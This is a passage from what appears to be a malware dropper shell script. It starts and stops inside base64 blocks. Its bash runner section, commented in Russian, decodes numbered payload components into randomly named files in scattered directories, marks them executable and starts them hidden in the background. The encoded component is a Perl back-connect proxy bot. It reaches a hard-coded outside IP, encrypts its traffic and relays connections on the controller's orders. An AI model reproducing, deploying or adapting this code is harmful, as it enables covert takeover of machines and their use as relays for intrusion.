ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #55 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #55 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 56 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p 